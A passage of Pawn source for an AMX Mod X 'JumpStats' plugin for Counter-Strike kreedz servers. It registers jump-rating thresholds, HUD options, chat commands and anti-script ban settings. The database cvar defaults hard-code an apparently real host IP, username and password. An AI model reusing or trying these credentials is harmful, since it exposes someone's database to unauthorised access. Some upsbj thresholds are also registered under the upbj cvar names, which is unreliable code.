new ladder_god_dist,ladder_leet_dist,ladder_holy_dist,ladder_pro_dist,ladder_good_dist;
new wj_god_dist,wj_leet_dist,wj_holy_dist,wj_pro_dist,wj_good_dist;
new bj_god_dist,bj_leet_dist,bj_holy_dist,bj_pro_dist,bj_good_dist;
new cj_god_dist,cj_leet_dist,cj_holy_dist,cj_pro_dist,cj_good_dist;
new dbj_god_dist,dbj_leet_dist,dbj_holy_dist,dbj_pro_dist,dbj_good_dist;
new scj_god_dist,scj_leet_dist,scj_holy_dist,scj_pro_dist,scj_good_dist;
new dropscj_god_dist,dropscj_leet_dist,dropscj_holy_dist,dropscj_pro_dist,dropscj_good_dist;
new bhopinduck_god_dist,bhopinduck_leet_dist,bhopinduck_holy_dist,bhopinduck_pro_dist,bhopinduck_good_dist;
new upbj_god_dist,upbj_leet_dist,upbj_holy_dist,upbj_pro_dist,upbj_good_dist;
new upsbj_god_dist,upsbj_leet_dist,upsbj_holy_dist,upsbj_pro_dist,upsbj_good_dist;
new real_god_dist,real_leet_dist,real_holy_dist,real_pro_dist,real_good_dist;
new duckbhop_god_dist,duckbhop_leet_dist,duckbhop_holy_dist,duckbhop_pro_dist,duckbhop_good_dist;
new web_sql,max_distance,min_distance_other,min_distance,uq_airaccel,leg_settings,uq_sounds;
new uq_maxedge,uq_minedge,uq_min_pre,speed_r,speed_g,speed_b,Float:speed_x,Float:speed_y,h_speed,kz_top,kz_extras,kz_weapon,kz_block_top;
new uq_team,prest_r,prest_g,prest_b,Float:prest_x,Float:prest_y,h_prest,h_stats,h_duck,h_streif;				
new uq_noslow,uq_light,uq_screen,uq_info,uq_fps,kz_map_top,kz_wpn_block_top,stats_r,stats_b,stats_g,f_stats_r,f_stats_b,f_stats_g;
//new uq_sv_maxvelocity,uq_sv_stepsize,uq_sv_maxspeed,uq_edgefriction,uq_mp_footsteps,uq_sv_cheats,uq_sv_gravity,uq_sv_airaccelerate;
new kz_uq_script_work,uq_script_work,uq_ban_minutes,kz_uq_ban_minutes,uq_bug,kz_uq_bug,uq_script_notify,kz_uq_script_notify,uq_admins,kz_uq_admins,kz_uq_script_detection,uq_script_detection,kz_uq_update_auth,uq_update_auth;
new doubleduck_stat_sync[33][2],logs_path[128],uq_script_punishment,kz_uq_script_punishment,uq_ban_authid,uq_ban_type,kz_uq_ban_authid,kz_uq_ban_type;
new kz_uq_block_chat_show,kz_uq_block_chat_min,uq_block_chat_show,uq_block_chat_min;


new bool:speedtype[33],ddforcjafterbhop[33],ddforcjafterladder[33],ddstandcj[33];
new bool:trigger_protection[33],kz_uq_speed_allteam,uq_speed_allteam;

new sql_Cvars[SQLCVARSNUM][] = { //cvars for db
	"kz_uq_save_extras_top",
	"kz_uq_top_by",
	"kz_uq_sql",
	"kz_uq_block_top"
};

new Trie:JumpPlayers;

new const KZ_CVARSDIR[] = "config.cfg";

public plugin_init()
{
	register_plugin( "JumpStats", VERSION, "BorJomi" );
	
	register_dictionary("uq_jumpstats.txt");
	
	kz_good_lj            = register_cvar("kz_uq_good_lj",            "240");	// lj hj
	kz_pro_lj            = register_cvar("kz_uq_pro_lj",             "245");
	kz_holy_lj            = register_cvar("kz_uq_holy_lj",            "250");
	kz_leet_lj           = register_cvar("kz_uq_leet_lj",            "253");
	kz_god_lj           = register_cvar("kz_uq_god_lj",            "255");
	
	kz_good_cj            = register_cvar("kz_uq_good_cj",            "250");	// cj
	kz_pro_cj            = register_cvar("kz_uq_pro_cj",             "255");
	kz_holy_cj            = register_cvar("kz_uq_holy_cj",            "260");
	kz_leet_cj           = register_cvar("kz_uq_leet_cj",            "265");
	kz_god_cj           = register_cvar("kz_uq_god_cj",            "267");
	
	kz_good_dcj            = register_cvar("kz_uq_good_dcj",            "250");	// dcj mcj
	kz_pro_dcj            = register_cvar("kz_uq_pro_dcj",             "255");
	kz_holy_dcj            = register_cvar("kz_uq_holy_dcj",            "260");
	kz_leet_dcj           = register_cvar("kz_uq_leet_dcj",            "265");
	kz_god_dcj           = register_cvar("kz_uq_god_dcj",            "270");
	
	kz_good_ladder           = register_cvar("kz_uq_good_ladder",            "150");	// ladder
	kz_pro_ladder           = register_cvar("kz_uq_pro_ladder",             "160");
	kz_holy_ladder           = register_cvar("kz_uq_holy_ladder",            "170");
	kz_leet_ladder           = register_cvar("kz_uq_leet_ladder",            "180");
	kz_god_ladder          = register_cvar("kz_uq_god_ladder",            "190");
	
	kz_good_bj           = register_cvar("kz_uq_good_bj",            "230");	// bj sbj
	kz_pro_bj           = register_cvar("kz_uq_pro_bj",             "235");
	kz_holy_bj           = register_cvar("kz_uq_holy_bj",            "240");
	kz_leet_bj           = register_cvar("kz_uq_leet_bj",            "245");
	kz_god_bj          = register_cvar("kz_uq_god_bj",            "247");
	
	kz_good_wj          = register_cvar("kz_uq_good_wj",            "255");	// wj dropcj ladderbhop
	kz_pro_wj           = register_cvar("kz_uq_pro_wj",             "260");
	kz_holy_wj           = register_cvar("kz_uq_holy_wj",            "265");
	kz_leet_wj           = register_cvar("kz_uq_leet_wj",            "270");
	kz_god_wj          = register_cvar("kz_uq_god_wj",            "272");
	
	kz_good_dbj          = register_cvar("kz_uq_good_dbj",            "240");	// 
	kz_pro_dbj          = register_cvar("kz_uq_pro_dbj",             "250");
	kz_holy_dbj          = register_cvar("kz_uq_holy_dbj",            "265");
	kz_leet_dbj           = register_cvar("kz_uq_leet_dbj",            "270");
	kz_god_dbj          = register_cvar("kz_uq_god_dbj",            "272");
	
	kz_good_scj          = register_cvar("kz_uq_good_scj",            "245");	// 
	kz_pro_scj          = register_cvar("kz_uq_pro_scj",             "250");
	kz_holy_scj          = register_cvar("kz_uq_holy_scj",            "255");
	kz_leet_scj           = register_cvar("kz_uq_leet_scj",            "260");
	kz_god_scj          = register_cvar("kz_uq_god_scj",            "262");
	
	kz_good_dropscj          = register_cvar("kz_uq_good_dropscj",            "255");	// 
	kz_pro_dropscj          = register_cvar("kz_uq_pro_dropscj",             "260");
	kz_holy_dropscj          = register_cvar("kz_uq_holy_dropscj",            "265");
	kz_leet_dropscj           = register_cvar("kz_uq_leet_dropscj",            "270");
	kz_god_dropscj          = register_cvar("kz_uq_god_dropscj",            "272");
	
	kz_good_duckbhop          = register_cvar("kz_uq_good_duckbhop",            "120");	// 
	kz_pro_duckbhop          = register_cvar("kz_uq_pro_duckbhop",             "130");
	kz_holy_duckbhop          = register_cvar("kz_uq_holy_duckbhop",            "140");
	kz_leet_duckbhop         = register_cvar("kz_uq_leet_duckbhop",            "150");
	kz_god_duckbhop         = register_cvar("kz_uq_god_duckbhop",            "160");
	
	kz_good_bhopinduck         = register_cvar("kz_uq_good_bhopinduck",            "205");	// 
	kz_pro_bhopinduck          = register_cvar("kz_uq_pro_bhopinduck",             "210");
	kz_holy_bhopinduck          = register_cvar("kz_uq_holy_bhopinduck",            "215");
	kz_leet_bhopinduck          = register_cvar("kz_uq_leet_bhopinduck",            "218");
	kz_god_bhopinduck         = register_cvar("kz_uq_god_bhopinduck",            "220");
	
	kz_good_real         = register_cvar("kz_uq_good_realldbhop",            "240");	// 
	kz_pro_real          = register_cvar("kz_uq_pro_realldbhop",             "250");
	kz_holy_real         = register_cvar("kz_uq_holy_realldbhop",            "265");
	kz_leet_real         = register_cvar("kz_uq_leet_realldbhop",            "270");
	kz_god_real         = register_cvar("kz_uq_god_realldbhop",            "272");
	
	kz_good_upbj         = register_cvar("kz_uq_good_upbj",            "225");	// 
	kz_pro_upbj          = register_cvar("kz_uq_pro_upbj",             "230");
	kz_holy_upbj          = register_cvar("kz_uq_holy_upbj",            "235");
	kz_leet_upbj          = register_cvar("kz_uq_leet_upbj",            "240");
	kz_god_upbj         = register_cvar("kz_uq_god_upbj",            "245");
	
	kz_good_upsbj         = register_cvar("kz_uq_good_upbj",            "230");	// 
	kz_pro_upsbj          = register_cvar("kz_uq_pro_upbj",             "235");
	kz_holy_upsbj          = register_cvar("kz_uq_holy_upbj",            "240");
	kz_leet_upsbj          = register_cvar("kz_uq_leet_upbj",            "244");
	kz_god_upsbj         = register_cvar("kz_uq_god_upbj",            "246");
	
	kz_min_dcj          = register_cvar("kz_uq_min_dist",            "215");
	MAX_DISTANCE         = register_cvar("kz_uq_max_dist",            "290");
	
	kz_stats_red        = register_cvar("kz_uq_stats_red",        "0");		
	kz_stats_green      = register_cvar("kz_uq_stats_green",      "255");
	kz_stats_blue       = register_cvar("kz_uq_stats_blue",       "159");
	kz_failstats_red        = register_cvar("kz_uq_failstats_red",        "255");		
	kz_failstats_green      = register_cvar("kz_uq_failstats_green",      "0");
	kz_failstats_blue       = register_cvar("kz_uq_failstats_blue",       "109");
	
	kz_sounds 	     = register_cvar("kz_uq_sounds",           "1");
	kz_top_rank_by        = register_cvar("kz_uq_top_by",        "0");		// How ranking will work? 0=name, 1=ip 2=steam
	kz_legal_settings     = register_cvar("kz_uq_legal_settings",     "0");
	kz_prefix 	       = register_cvar("kz_uq_prefix",       "PLAY-ARENA");
	kz_airaccelerate     = register_cvar("kz_uq_airaccelerate",     "1");
	
	kz_stats_x        = register_cvar("kz_uq_stats_x",        "-1.0");		
	kz_stats_y      = register_cvar("kz_uq_stats_y",      "0.70");
	kz_strafe_x        = register_cvar("kz_uq_strafe_x",        "0.70");		
	kz_strafe_y      = register_cvar("kz_uq_strafe_y",      "0.35");
	kz_duck_x        = register_cvar("kz_uq_duck_x",        "0.6");		
	kz_duck_y      = register_cvar("kz_uq_duck_y",      "0.78");
	kz_speed_x        = register_cvar("kz_uq_speed_x",        "-1.0");		
	kz_speed_y      = register_cvar("kz_uq_speed_y",      "0.83");
	kz_prest_x        = register_cvar("kz_uq_prestrafe_x",        "-1.0");		
	kz_prest_y      = register_cvar("kz_uq_prestrafe_y",      "0.65");
	
	kz_speed_r        = register_cvar("kz_uq_speed_red",        "255");		
	kz_speed_g        = register_cvar("kz_uq_speed_green",      "255");
	kz_speed_b          = register_cvar("kz_uq_speed_blue",        "255");		
	kz_prest_r        = register_cvar("kz_uq_prestrafe_red",        "255");		
	kz_prest_g      = register_cvar("kz_uq_prestrafe_green",      "255");
	kz_prest_b        = register_cvar("kz_uq_prestrafe_blue",        "255");
	
	hud_stats       = register_cvar("kz_uq_hud_stats",        "3");		
	hud_streif    = register_cvar("kz_uq_hud_strafe",      "4");
	hud_pre      = register_cvar("kz_uq_hud_pre",        "1");		
	hud_duck     = register_cvar("kz_uq_hud_duck",      "1");
	hud_speed     = register_cvar("kz_uq_hud_speed",      "2");
	
	kz_uq_lj       = register_cvar("kz_uq_lj",        "1");	
	kz_uq_cj       = register_cvar("kz_uq_cj",        "1");	
	kz_uq_dcj       = register_cvar("kz_uq_dcj",        "1");	
	kz_uq_mcj       = register_cvar("kz_uq_mcj",        "1");	
	kz_uq_ladder       = register_cvar("kz_uq_ladder",        "1");	
	kz_uq_ldbj       = register_cvar("kz_uq_ldbj",        "1");	
	kz_uq_bj       = register_cvar("kz_uq_bj",        "1");	
	kz_uq_sbj       = register_cvar("kz_uq_sbj",        "1");	
	kz_uq_drbj       = register_cvar("kz_uq_drbj",        "1");	
	kz_uq_drsbj       = register_cvar("kz_uq_scj",        "1");	
	kz_uq_drcj       = register_cvar("kz_uq_drcj",        "1");	
	kz_uq_wj       = register_cvar("kz_uq_wj",        "1");	
	
	kz_uq_dscj       = register_cvar("kz_uq_dscj",        "1");	
	kz_uq_mscj       = register_cvar("kz_uq_mscj",        "1");
	kz_uq_dropscj       = register_cvar("kz_uq_dropscj",        "1");
	kz_uq_dropdscj       = register_cvar("kz_uq_dropdscj",        "1");
	kz_uq_dropmscj       = register_cvar("kz_uq_dropmscj",        "1");
	kz_uq_duckbhop       = register_cvar("kz_uq_duckbhop",        "1");
	kz_uq_bhopinduck      = register_cvar("kz_uq_bhopinduck",        "1");
	kz_uq_realldbhop       = register_cvar("kz_uq_realldbhop",        "1");
	kz_uq_upbj      = register_cvar("kz_uq_upbj",        "1");
	kz_uq_upbhopinduck      = register_cvar("kz_uq_upbhopinduck",        "1");
	kz_uq_upsbj       = register_cvar("kz_uq_upsbj",        "1");
	kz_uq_multibhop      = register_cvar("kz_uq_multibhop",        "1");
	kz_uq_dropdcj      = register_cvar("kz_uq_dropdcj",        "1");
	kz_uq_dropmcj     = register_cvar("kz_uq_dropmcj",        "1");
	
	kz_uq_light    = register_cvar("kz_uq_light",      "1");
	kz_uq_connect = register_cvar("kz_uq_connect", "abcdefghijklmn");
	kz_uq_fps = register_cvar("kz_uq_fps", "0");	
	kz_uq_top = register_cvar("kz_uq_save_top", "1");
	kz_uq_maptop = register_cvar("kz_uq_maptop", "1");
	kz_uq_team = register_cvar("kz_uq_team", "1");
	kz_uq_istrafe = register_cvar("kz_uq_istrafes", "0");
	
	max_edge = register_cvar("kz_uq_max_block", "290");
	min_edge = register_cvar("kz_uq_min_block", "100");
	min_pre = register_cvar("kz_uq_min_pre", "60");
	kz_uq_min_other = register_cvar("kz_uq_min_dist_other",            "120");
	kz_uq_extras = register_cvar("kz_uq_save_extras_top", "1");
	max_strafes = register_cvar("kz_uq_max_strafes", "9999");
	screenshoot = register_cvar("kz_uq_screenshoot", "0");
	
	sql_stats = register_cvar("kz_uq_sql", "1");
	web_stats = register_cvar("kz_uq_web", "0");
	
	uq_host = register_cvar("kz_uq_host", "37.59.43.196:");
	uq_user = register_cvar("kz_uq_user", "surfxp2");
	uq_pass = register_cvar("kz_uq_pass", "s2EGW2aGRDdR");
	uq_db = register_cvar("kz_uq_db", "surfxp2");
		
	allow_info = register_cvar("kz_uq_demo_info", "1");
	weapon_top = register_cvar("kz_uq_weapons_top", "1");
	weapon_block_top = register_cvar("kz_uq_block_weapons", "1");
	kz_uq_url = register_cvar("kz_uq_url","http://localhost/uq_jumpstats/index.php?type=lj&from_game=true");
	kz_uq_block_top = register_cvar("kz_uq_block_top", "1");
	
	kz_uq_bug=register_cvar("kz_uq_bug_check", "1");
	kz_uq_noslow=register_cvar("kz_uq_noslowdown", "1");
	
	kz_uq_admins = register_cvar("kz_uq_only_admins", "0");
	kz_uq_script_detection = register_cvar("kz_uq_script_detection", "1");
	kz_uq_update_auth = register_cvar("kz_uq_update_auth", "1");
	kz_uq_script_notify = register_cvar("kz_uq_script_notify", "1");
	kz_uq_script_punishment = register_cvar("kz_uq_script_punishment", "0");
	kz_uq_script_work = register_cvar("kz_uq_script_work", "2");
	
	kz_uq_ban_type = register_cvar("kz_uq_ban_type", "0");
	kz_uq_ban_authid = register_cvar("kz_uq_ban_authid", "0");
	kz_uq_ban_minutes = register_cvar("kz_uq_ban_minutes", "1");
	
	kz_uq_block_chat_show = register_cvar("kz_uq_block_chat_show", "0");
	kz_uq_block_chat_min = register_cvar("kz_uq_block_chat_min", "0");
	
	kz_uq_speed_allteam = register_cvar("kz_uq_speed_allteam", "1");
	
	register_cvar( "uq_jumpstats", VERSION, FCVAR_SERVER|FCVAR_SPONLY);
	
	register_concmd("amx_reset_uqtops","reset_tops",ADMIN_CVAR ,"reset all tops");
	
	register_clcmd( "say /strafe",	"streif_stats" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /strafes",	"streif_stats" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /strafestat",	"streif_stats" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /strafestats",	"streif_stats" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /showpre",	"show_pre" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /duck",	"pre_stats" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /ducks",	"pre_stats" ,         ADMIN_ALL, "- enabled/disables");
	register_clcmd( "say /uqstats",		"cmdljStats",         ADMIN_ALL, "- enabled/disables" );
	register_clcmd( "say /ljstats",		"cmdljStats",         ADMIN_ALL, "- enabled/disables" );
	register_clcmd( "say /stats",		"cmdljStats",         ADMIN_ALL, "- enabled/disables" );
	register_clcmd( "say /heigh",		"heightshow",         ADMIN_ALL, "- enabled/disables" );
	register_clcmd( "say /fall",		"heightshow",         ADMIN_ALL, "- enabled/disables" );
	
	register_clcmd( "say /uqversion",	"cmdVersion",         ADMIN_ALL);
	register_clcmd( "say uqversion",	"cmdVersion",         ADMIN_ALL);
	register_clcmd("say /uqbeam",     "cmdljbeam",         ADMIN_ALL);
	register_clcmd("say /beam",     "cmdljbeam",         ADMIN_ALL);
	register_clcmd("say /ljbeam",     "cmdljbeam",         ADMIN_ALL);
	register_clcmd("say /speed",     "show_speed",         ADMIN_ALL);
	register_clcmd("say /colorchat",     "cmdColorChat",         ADMIN_ALL);
	register_clcmd("say /bhopwarn",     "show_early",         ADMIN_ALL);
	register_clcmd("say /multibhop",     "multi_bhop",         ADMIN_ALL);
	register_clcmd("say /duckspre",     "duck_show",         ADMIN_ALL);
	register_clcmd("say /duckpre",     "duck_show",         ADMIN_ALL);
	register_clcmd("say /ljpre",     "lj_show",         ADMIN_ALL);
	register_clcmd("say /prelj",     "lj_show",         ADMIN_ALL);
	register_clcmd("say /uqsound",     "enable_sounds",         ADMIN_ALL);
	register_clcmd("say /uqsounds",     "enable_sounds",         ADMIN_ALL);
	
	register_clcmd("say /failedge",     "ShowedgeFail",         ADMIN_ALL);
	register_clcmd("say /failedg",     "ShowedgeFail",         ADMIN_ALL);
	register_clcmd("say /edgefail",     "ShowedgeFail",         ADMIN_ALL);
	register_clcmd("say /edgfail",     "ShowedgeFail",         ADMIN_ALL);
	register_clcmd("say /edge",     "Showedge",         ADMIN_ALL);
	register_clcmd("say /edg",     "Showedge",         ADMIN_ALL);
	
	register_clcmd("say /joftrainer",     "trainer_jof",         ADMIN_ALL);
	register_clcmd("say joftrainer",     "trainer_jof",         ADMIN_ALL);
	register_clcmd("say /joftr",     "trainer_jof",         ADMIN_ALL);
	
	register_clcmd("say /speedt",     "speed_type",         ADMIN_ALL);
	
	register_clcmd("say /jof",     "show_jof",         ADMIN_ALL);
	register_clcmd("say jof",     "show_jof",         ADMIN_ALL);
	
	register_clcmd("say /jheigh",     "show_jheight",         ADMIN_ALL);
	
	register_clcmd("say /istrafe",     "ingame_st_stats",         ADMIN_ALL);
	
	register_clcmd("say /options",     "Option",         ADMIN_ALL);
	register_clcmd("say /ljsmenu",     "Option",         ADMIN_ALL);
	register_clcmd("say /ljsmenu2",     "Option2",         ADMIN_ALL);
	register_clcmd("say /uqmenu",     "Option",         ADMIN_ALL);
	register_clcmd("say /option",     "Option",         ADMIN_ALL);

	register_menucmd(register_menuid("StatsOptionMenu1"),          1023, "OptionMenu1");
	register_menucmd(register_menuid("StatsOptionMenu2"),          1023, "OptionMenu2");
	register_menucmd(register_menuid("StatsOptionMenu3"),          1023, "OptionMenu3");
	
	edgefriction          = get_cvar_pointer("edgefriction");
	mp_footsteps          = get_cvar_pointer("mp_footsteps");
	sv_cheats             = get_cvar_pointer("sv_cheats");
	sv_gravity            = get_cvar_pointer("sv_gravity");
	sv_airaccelerate      = get_cvar_pointer("sv_airaccelerate");
	sv_maxspeed           = get_cvar_pointer("sv_maxspeed");
	sv_stepsize           = get_cvar_pointer("sv_stepsize");
	sv_maxvelocity        = get_cvar_pointer("sv_maxvelocity");
	
	
	register_forward(FM_Touch,           "fwdTouch",           1);
	register_forward( FM_PlayerPreThink,	"fwdPreThink",	0 );
	register_forward( FM_PlayerPostThink,	"fwdPostThink",	0 );
	
	RegisterHam(Ham_Spawn, "player", "FwdPlayerSpawn", 1);
	RegisterHam(Ham_Killed, "player", "FwdPlayerDeath", 1);
	RegisterHam(Ham_Touch, "player",	"HamTouch");
	
	register_event("ResetHUD","ResetHUD","b");
	
	max_players=get_maxplayers();
	
	ent=find_ent_by_class(-1,"func_ladder");
	while( ent > 0 )
	{
		entity_get_vector ( ent, EV_VEC_maxs, ladderxyz[nLadder] );
		entity_get_vector ( ent, EV_VEC_mins, ladderminxyz[nLadder] );
		entity_get_vector ( ent, EV_VEC_size, laddersize[nLadder] );
		entlist[nLadder]=ent;
		
		ent = find_ent_by_class(ent,"func_ladder");
		nLadder++;
	}
	
	get_mapname(mapname, 32);
	
	// Logs
	new logs[64];
	get_localinfo("amxx_logs", logs, 63);
	formatex(logs_path, 127, "%s\uq_jumpstats.txt", logs);
}

public plugin_natives()
{
	register_native("kz_get_configsdir", "native_kz_get_configsdir", 1);
	
}

public plugin_cfg()
{
	new cvarfiles[100], uqpath[64];
	kz_get_configsdir(uqpath, 63);
	formatex(cvarfiles, 99, "%s/%s", uqpath, KZ_CVARSDIR);
	
	if( file_exists(cvarfiles) )
	{
		server_cmd("exec %s", cvarfiles);
		server_exec();
	}
	
	uq_min_pre=get_pcvar_num(min_pre);
	uq_maxedge=get_pcvar_num(max_edge);
	uq_minedge=get_pcvar_num(min_edge);
	kz_sql=get_pcvar_num(sql_stats);
	web_sql=get_pcvar_num(web_stats);
	rankby = get_pcvar_num(kz_top_rank_by);
	uq_team=get_pcvar_num(kz_uq_team);
	uq_istrafe=get_pcvar_num(kz_uq_istrafe);
	NSTRAFES1=get_pcvar_num(max_strafes);
	stats_x=get_pcvar_float(kz_stats_x);
	stats_y=get_pcvar_float(kz_stats_y);
	strafe_x=get_pcvar_float(kz_strafe_x);
	strafe_y=get_pcvar_float(kz_strafe_y);
	duck_x=get_pcvar_float(kz_duck_x);
	duck_y=get_pcvar_float(kz_duck_y);
	prest_r=get_pcvar_num(kz_prest_r);
	prest_g=get_pcvar_num(kz_prest_g);
	prest_b=get_pcvar_num(kz_prest_b);
	prest_x=get_pcvar_float(kz_prest_x);
	prest_y=get_pcvar_float(kz_prest_y);
	h_prest=get_pcvar_num(hud_pre);
	h_stats=get_pcvar_num(hud_stats);
	h_duck=get_pcvar_num(hud_duck);
	h_streif=get_pcvar_num(hud_streif);
	stats_r=get_pcvar_num(kz_stats_red);
	stats_b=get_pcvar_num(kz_stats_blue);
	stats_g=get_pcvar_num(kz_stats_green);
	f_stats_r=get_pcvar_num(kz_failstats_red);
	f_stats_b=get_pcvar_num(kz_failstats_blue);
	f_stats_g=get_pcvar_num(kz_failstats_green);
	uq_lj=get_pcvar_num(kz_uq_lj);	
	uq_cj=get_pcvar_num(kz_uq_cj);	
	uq_dcj=get_pcvar_num(kz_uq_dcj);	
	uq_mcj=get_pcvar_num(kz_uq_mcj);	
	uq_ladder=get_pcvar_num(kz_uq_ladder);	
	uq_ldbj=get_pcvar_num(kz_uq_ldbj);	
	uq_bj=get_pcvar_num(kz_uq_bj);	
	uq_sbj=get_pcvar_num(kz_uq_sbj);	
	uq_drbj=get_pcvar_num(kz_uq_drbj);	
	uq_drsbj=get_pcvar_num(kz_uq_drsbj);	
	uq_drcj=get_pcvar_num(kz_uq_drcj);	
	uq_wj=get_pcvar_num(kz_uq_wj);
	uq_dscj=get_pcvar_num(kz_uq_dscj);	
	uq_mscj=get_pcvar_num(kz_uq_mscj);
	uq_dropscj=get_pcvar_num(kz_uq_dropscj);
	uq_dropdscj=get_pcvar_num(kz_uq_dropdscj);
	uq_dropmscj=get_pcvar_num(kz_uq_dropmscj);
	uq_duckbhop=get_pcvar_num(kz_uq_duckbhop);
	uq_bhopinduck=get_pcvar_num(kz_uq_bhopinduck);
	uq_realldbhop=get_pcvar_num(kz_uq_realldbhop);
	uq_upbj=get_pcvar_num(kz_uq_upbj);
	uq_upbhopinduck=get_pcvar_num(kz_uq_upbhopinduck);
	uq_upsbj=get_pcvar_num(kz_uq_upsbj);
	uq_multibhop=get_pcvar_num(kz_uq_multibhop);
	uq_dropdcj=get_pcvar_num(kz_uq_dropdcj);
	uq_dropmcj=get_pcvar_num(kz_uq_dropmcj);
	dcj_god_dist=get_pcvar_num(kz_god_dcj);
	dcj_leet_dist=get_pcvar_num(kz_leet_dcj);
	dcj_holy_dist=get_pcvar_num(kz_holy_dcj);
	dcj_pro_dist=get_pcvar_num(kz_pro_dcj);
	dcj_good_dist=get_pcvar_num(kz_good_dcj);
	lj_god_dist=get_pcvar_num(kz_god_lj);
	lj_leet_dist=get_pcvar_num(kz_leet_lj);
	lj_holy_dist=get_pcvar_num(kz_holy_lj);
	lj_pro_dist=get_pcvar_num(kz_pro_lj);
	lj_good_dist=get_pcvar_num(kz_good_lj);
	ladder_god_dist=get_pcvar_num(kz_god_ladder);
	ladder_leet_dist=get_pcvar_num(kz_leet_ladder);
	ladder_holy_dist=get_pcvar_num(kz_holy_ladder);
	ladder_pro_dist=get_pcvar_num(kz_pro_ladder);
	ladder_good_dist=get_pcvar_num(kz_good_ladder);
	wj_god_dist=get_pcvar_num(kz_god_wj);
	wj_leet_dist=get_pcvar_num(kz_leet_wj);
	wj_holy_dist=get_pcvar_num(kz_holy_wj);
	wj_pro_dist=get_pcvar_num(kz_pro_wj);
	wj_good_dist=get_pcvar_num(kz_good_wj);
	bj_god_dist=get_pcvar_num(kz_god_bj);
	bj_leet_dist=get_pcvar_num(kz_leet_bj);
	bj_holy_dist=get_pcvar_num(kz_holy_bj);
	bj_pro_dist=get_pcvar_num(kz_pro_bj);
	bj_good_dist=get_pcvar_num(kz_good_bj);
	cj_god_dist=get_pcvar_num(kz_god_cj);
	cj_leet_dist=get_pcvar_num(kz_leet_cj);
	cj_holy_dist=get_pcvar_num(kz_holy_cj);
	cj_pro_dist=get_pcvar_num(kz_pro_cj);
	cj_good_dist=get_pcvar_num(kz_good_cj);
	dbj_god_dist=get_pcvar_num(kz_god_dbj);
	dbj_leet_dist=get_pcvar_num(kz_leet_dbj);
	dbj_holy_dist=get_pcvar_num(kz_holy_dbj);
	dbj_pro_dist=get_pcvar_num(kz_pro_dbj);
	dbj_good_dist=get_pcvar_num(kz_good_dbj);	
	scj_god_dist=get_pcvar_num(kz_god_scj);
	scj_leet_dist=get_pcvar_num(kz_leet_scj);
	scj_holy_dist=get_pcvar_num(kz_holy_scj);
	scj_pro_dist=get_pcvar_num(kz_pro_scj);
	scj_good_dist=get_pcvar_num(kz_good_scj);		
	dropscj_god_dist=get_pcvar_num(kz_god_dropscj);
	dropscj_leet_dist=get_pcvar_num(kz_leet_dropscj);
	dropscj_holy_dist=get_pcvar_num(kz_holy_dropscj);
	dropscj_pro_dist=get_pcvar_num(kz_pro_dropscj);
	dropscj_good_dist=get_pcvar_num(kz_good_dropscj);
	bhopinduck_god_dist=get_pcvar_num(kz_god_bhopinduck);
	bhopinduck_leet_dist=get_pcvar_num(kz_leet_bhopinduck);
	bhopinduck_holy_dist=get_pcvar_num(kz_holy_bhopinduck);
	bhopinduck_pro_dist=get_pcvar_num(kz_pro_bhopinduck);
	bhopinduck_good_dist=get_pcvar_num(kz_good_bhopinduck);
	upbj_god_dist=get_pcvar_num(kz_god_upbj);
	upbj_leet_dist=get_pcvar_num(kz_leet_upbj);
	upbj_holy_dist=get_pcvar_num(kz_holy_upbj);
	upbj_pro_dist=get_pcvar_num(kz_pro_upbj);
	upbj_good_dist=get_pcvar_num(kz_good_upbj);
	upsbj_god_dist=get_pcvar_num(kz_god_upsbj);
	upsbj_leet_dist=get_pcvar_num(kz_leet_upsbj);
	upsbj_holy_dist=get_pcvar_num(kz_holy_upsbj);
	upsbj_pro_dist=get_pcvar_num(kz_pro_upsbj);
	upsbj_good_dist=get_pcvar_num(kz_good_upsbj);
	real_god_dist=get_pcvar_num(kz_god_real);
	real_leet_dist=get_pcvar_num(kz_leet_real);
	real_holy_dist=get_pcvar_num(kz_holy_real);
	real_pro_dist=get_pcvar_num(kz_pro_real);
	real_good_dist=get_pcvar_num(kz_good_real);
	duckbhop_god_dist=get_pcvar_num(kz_god_duckbhop);
	duckbhop_leet_dist=get_pcvar_num(kz_leet_duckbhop);
	duckbhop_holy_dist=get_pcvar_num(kz_holy_duckbhop);
	duckbhop_pro_dist=get_pcvar_num(kz_pro_duckbhop);
	duckbhop_good_dist=get_pcvar_num(kz_good_duckbhop);
	leg_settings=get_pcvar_num(kz_legal_settings);	
	uq_airaccel=get_pcvar_num( kz_airaccelerate );
	min_distance=get_pcvar_num(kz_min_dcj);
	min_distance_other=get_pcvar_num(kz_uq_min_other);
	max_distance=get_pcvar_num(MAX_DISTANCE);
	uq_sounds=get_pcvar_num(kz_sounds);
	uq_light=get_pcvar_num( kz_uq_light);
	uq_screen=get_pcvar_num(screenshoot);
	uq_info=get_pcvar_num(allow_info);
	uq_fps=get_pcvar_num(kz_uq_fps);
	speed_r=get_pcvar_num(kz_speed_r);
	speed_g=get_pcvar_num(kz_speed_g);
	speed_b=get_pcvar_num(kz_speed_b);
	speed_x=get_pcvar_float(kz_speed_x);
	speed_y=get_pcvar_float(kz_speed_y);
	h_speed=get_pcvar_num(hud_speed);
	kz_top=get_pcvar_num(kz_uq_top);
	kz_extras=get_pcvar_num(kz_uq_extras);
	kz_weapon=get_pcvar_num(weapon_top);
	kz_block_top=get_pcvar_num(kz_uq_block_top);
	kz_map_top=get_pcvar_num(kz_uq_maptop);
	kz_wpn_block_top=get_pcvar_num(weapon_block_top);
	get_pcvar_string(kz_prefix, prefix, 63);
	uq_bug=get_pcvar_num(kz_uq_bug);
	uq_noslow=get_pcvar_num(kz_uq_noslow);
	uq_admins=get_pcvar_num(kz_uq_admins);
	uq_script_detection=get_pcvar_num(kz_uq_script_detection);
	uq_update_auth=get_pcvar_num(kz_uq_update_auth);
	uq_script_notify=get_pcvar_num(kz_uq_script_notify);
	uq_script_punishment=get_pcvar_num(kz_uq_script_punishment);
	uq_script_work=get_pcvar_num(kz_uq_script_work);
	uq_ban_authid=get_pcvar_num(kz_uq_ban_authid);
	uq_ban_type=get_pcvar_num(kz_uq_ban_type);
	uq_ban_minutes=get_pcvar_num(kz_uq_ban_minutes); 
	uq_block_chat_min=get_pcvar_num(kz_uq_block_chat_min); 
	uq_block_chat_show=get_pcvar_num(kz_uq_block_chat_show); 
